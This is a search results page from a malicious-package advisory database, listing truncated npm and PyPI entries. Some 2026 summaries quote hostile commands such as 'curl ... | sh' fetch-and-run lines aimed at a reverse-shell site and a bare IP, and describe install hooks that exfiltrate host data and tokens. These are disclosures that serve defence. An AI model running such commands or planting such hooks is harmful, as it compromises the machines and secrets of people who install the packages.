239502 matches found
MAL-2022-4695 Malicious code in moralis-web3-providers-ws (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware e15271ff70759690176a5c96c5646ff12bc531be0ff9eec1e3baf0c3c3a9ffa5 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2022-1379 Malicious code in azure-storage-common-cpp (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 10f2d9d05c663e24ede071f09a82e5c1b34d19d1332c4c152be774f63703ed33 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2022-4881 Malicious code in node-config-provider (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 6245de88dda255b54977801c4cb54ca206cf3e832670277220fba95bf3707455 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2022-5373 Malicious code in plugin-transform-react-jsx (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware f27c2a663077678179b48cd4851aa8b5aa144a1d4ef1e3bb2cf05526d0b1c7c7 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2022-5371 Malicious code in plugin-svgo (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 1341e5c5e07e1379451f4873b4c4fa7b1d05d4cfbd7444c8484145e2dddca09c Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2022-5707 Malicious code in realtime-react (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 53389921842257e5cac4021b62a872f18768a7c49183c56d80628379e3b4f52d Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2022-2869 Malicious code in ethers-js-snap (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 0fed39a2c0c5817dd6ae76956a74c435c13481436cac3eb9d117857ad9be21af Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2022-5635 Malicious code in react-datepicker-docs (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 062f92c39d2cbd607ae5a7a03f0c399be4d70173a3e41786637006cb7f4bcdca Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2022-2346 Malicious code in datadog-app-example-sentiment (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 0b7fe142d995f89d7e4cb6cc9585bcc24846648d205001e656821dd679fa86a1 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2022-607 Malicious code in @spinak/iac-lib (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 77099501462f80e29fcba9337b4c51a78859cfed8347211f50acbafee737a3ba Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2022-231 Malicious code in @epc-apps/api-generic-plan (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware e3783a587d271aec0c7725f7a4d384068e3ea63c385265d50717808837ae390a Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2022-234 Malicious code in @epc-apps/api-outages (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 52303d5ff48784b5ed46373ac7162f5ddc5ed3c8c629c696ccacba4c15d8e587 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2026-17339 Malicious code in reactjs-risk (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0e58c82916c5199ef9e73a5d70f91d120312151eb5c28090d8bbf6dbf4117543 The package's preinstall lifecycle script collects host identity metadata from the installer machine — os.hostname, the output of...
MAL-2026-17198 Malicious code in caracas4check (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 973d711f03dafa9f390e489476d4795acdda8db926bdd688ca5e1abbe6efa025 The package installs boot.pth at the site-packages root, causing 'import c4cboot' to run on every Python interpreter startup on the host after...
MAL-2026-17193 Malicious code in metrio (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ce8ee66a844d7abed74f4b9d223c8ef8f35bae380104526f4f8bc57295c47320 metrio 999.0.0 executes a hostname-exfiltration beacon from both setup.py install time and metrio/init.py import time. The code reads the local...
MAL-2026-17182 Malicious code in app-sca-info-banking (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9733b1d7500efca385ba6dc866f4ef1b04e0d1cd4ead564b9445551a2d72a51b package.json declares scripts.postinstall: node poc.js, causing poc.js to execute automatically on npm install. poc.js issues DNS dns.resolve4 and HT...
MAL-2026-16464 Malicious code in hachutis (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 455f1d04545c9ed17722705fe61415d7e536e2800c2a3c588ab69985004c73b9 The tarball ships three undeclared prebuilt executables under bin/ bin/cli, bin/cli-linux-amd64, and an 81 MB Bun-compiled bin/cli-http-linux that ar...
MAL-2026-16395 Malicious code in envparse3 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 910a8a8e205bc9a9540696320007c14926950b5a4f832efc577f2fd67ddc80a4 On require'envparse3', the package's main entrypoint invokes a top-level function dispatchAnalytics that reads a bundled image dist/stest.jpg, extrac...
MAL-2026-16313 Malicious code in test1gg234 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector dd57f799e0797ede7d18d6a36dd05c31c34d21b4e45d554730a8d08dd310cf73 The package declares both preinstall and postinstall lifecycle hooks that execute index.js, which issues a plaintext HTTP GET to the hardcoded bare I...
MAL-2026-16294 Malicious code in internallib_v949 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 16b7999911edfe600ebe4f34972eb325b48d6b96e1ac4212f0881b683a04abd9 index.js line 5 invokes childprocess.exec to run '/bin/bash -c "curl https://reverse-shell.sh/... | sh"', fetching and piping a remote shell script...
MAL-2026-16265 Malicious code in @kartyk-github-org/takedown-a (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware bf2fb1adf14524d97cbb2a621413f9d25b8ac020fc927b92fa8f9aff52edef70 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2026-16241 Malicious code in rak-lab-yoav-orca-zrktd2cp5hjmo4x7 (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 486630eaee2b9eb50d03d73886a14b7249b0c28fda2cb3f6a13565c8cd38a9bb pypi package rak-lab-yoav-orca-zrktd2cp5hjmo4x7 version 9.9.9 ships a setup.py that, during pip install, reads the DEPLOYMENTTOKEN environment variab...
MAL-2026-16156 Malicious code in get-power (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e261e4010770fc43fd02cf8c9add484ea5f8a92a21f60682f2aea73f0ce110f7 get-power impersonates ljharb's get-proto utility package.json declares author 'Jordan Harband ' and homepage github.com/ljharb/get-power while...
MAL-2026-16143 Malicious code in chroma-client (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f0c415e6cd4e653006225dd54672dd79ef076166a2015fa33bbf8f10b789af55 The distribution installs a.pth file that Python auto-executes at interpreter startup on every process using the environment. The.pth file's executab...
MAL-2026-16140 Malicious code in tracker-cloudflare (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 55b5bacf5779f1a1fa161ee38acbf61fda0dc18b3d0fe35213e2b0dc230c06e4 The package's preinstall hook runs node index.js, which collects host identifiers os.hostname, os.userInfo, homedir, DNS servers, cwd along with the...
MAL-2026-15923 Malicious code in line-through (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f080fb3d5e59c5c950dd4dd0c2eb1841cdc2943e1543bd7803f7ca27d1756e60 The package's package.json preinstall hook runs vishu.js, which at npm install time collects the installer's public IP via api.ipify.org, OS hostname...
MAL-2026-15912 Malicious code in tailwind-aspect (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e6ba6037f5f2f65c0ceef0ba5bd8da931b7860a85e7a38fb2703ad4cd7672ddf The package's main entrypoint unconditionally downloads a JavaScript file from the hardcoded plain-HTTP bare-IP URL http://23.27.245.100/index.js,...
MAL-2026-15891 Malicious code in ordered-kv-index (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 55d622b138793a2b659f171c3420c5c66df969939d4e3be8c7d4099e4f4fd48f The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...
MAL-2026-15875 Malicious code in btree-lru-cache (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6842cca5e4f00ee191865c33d73bef23be7df2e06f8157394532bb26d9749a42 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...
MAL-2026-15826 Malicious code in tailwindcss-fluid-styles (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4e9b69dc0a9e6eabb685fa4be860fa456d8810c712ab300ff87023d72cf93631 src/index.js executes an evalatob... blob at top level on require. The decoded loader queries Ethereum RPC endpoints for the latest transaction from...
MAL-2026-15644 Malicious code in @pipi596888/ccursor (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4c50ec8f5306971a2465653457f2ef36e6dbf14a666d9d8abff92af034fe5cef The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...
MAL-2026-15601 Malicious code in eslint-prettier-js (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 657c75af75154da75ac5073b9dcea65c04bdb3f493f3a72d79f1847df90bf449 The package's postinstall hook runs index.cjs's onInstall, which performs await fetch"https://2939e69fc408.ngrok-free.app/stats" and passes the...
MAL-2026-15574 Malicious code in gclassroom (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 354356e7fb630f0274c0194e95a717249115562962b161aea98b51a79dfae70f The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...
MAL-2026-15555 Malicious code in js-array-tokens (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3d54ea75aacb3eed3e1f1739093eb9b0092203fafca42d590bce038530056023 On module load, index.js reconstructs a URL from a char-code array that decodes to https://access-token-delta.vercel.app/, fetches a JSON response, a...
MAL-2026-15545 Malicious code in ux-metrics-client-interaction-subscriber (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6066e87b7b0822678d3514839bc7eba18d46ff1d034c12ea169f4c3513df132b package.json line 11 declares a dependency whose key equals the package's own name ux-metrics-client-interaction-subscriber and whose value is a bare...
MAL-2026-15515 Malicious code in npm-extension (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2a6c4f2b94932e8bcb68c0a146d536b7e3a00d48041aa5a6fc9edf9f82ae5244 package.json declares a dependency whose value is a bare HTTPS URL https://repo.securityctrl.com/npm-extension rather than a registry version range. ...
MAL-2026-15507 Malicious code in grafeno-pix (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a5c5e1649c30ab63a97fde3073d5e838ea91f5b2eca8149242f0fb24e286c3f3 [email protected] declares a preinstall hook that runs curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare IP over plain HTTP and...
MAL-2026-14950 Malicious code in 3layerdipstackunyzh (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 3581c70c9fbfb2a6466795dbd9f19b0ae0e757a4289f4b031d1fcaa931340155 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2026-14732 Malicious code in 3layerdipstackdwrofj (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d850c623764118e9980643adc2088a3f9192e538b59c5656f80613466e1218de The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...
MAL-2026-14935 Malicious code in 3layerdipstackttd2o (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 05f539ccc6a611c927ad4d2c56f34a3e008ea454c812f4e10352f6cd850fab7c Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2026-15052 Malicious code in classlink-c78zjnbn (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 78a0fb0dc36efc0ab7cff57d3680ce104a4b486f50ac835d83b6b683b50762c7 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2026-15118 Malicious code in classlink-oizqqihf (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware fe78905343bca0cea45063e1c067852ec5227ff8f113421033fb60efde82d853 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2026-15018 Malicious code in classlink-321ouwqc (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 9b5b75510dbe2e38496114aeea8322c7194e30b2cc4105424dd9653de2e00c38 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2026-15281 Malicious code in secure-test-browser-3nr8zugm (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 51128651ff9e88d978b2d283136576a5c7b2864364963fdc2ada1a3d284da089 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2026-14587 Malicious code in pygame-renderkit (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fdef1a055b3059d56581d5c0d33538e7799cfde5e42d596eb50094d06d984f54 setup.py registers a custom install command that forks a daemonized child during pip install and executes a base64-encoded Python payload via...
MAL-2026-15616 Malicious code in ndmxchdjxn2 (npm)
Published as part of a ClickFix-style fake-CAPTCHA phishing campaign documented by OX Security see reference. The package's only file is index.html, declared as the npm "main" entry; package.json defines no preinstall/install/postinstall/prepare lifecycle script, so the payload does not execute a...
MAL-2026-14428 Malicious code in consumerweb-serverutils (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 04473d8096a27ae1cbf94652a0087dcf00762f2c7d1ef390bb351f283e743349 consumerweb-serverutils 3.4.3 runs a preinstall lifecycle script that on npm install collects the installer's username, hostname, and current working...
MAL-2026-15687 Malicious code in @yuva2210/okx-poc-rce-impact (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1917fdda46d566300463afdd1087755e9cf50203f4997455f9ee888e01782124 @yuva2210/[email protected] is a dependency-confusion proof-of-concept targeting OKX's internal namespace. The package's package.json declares...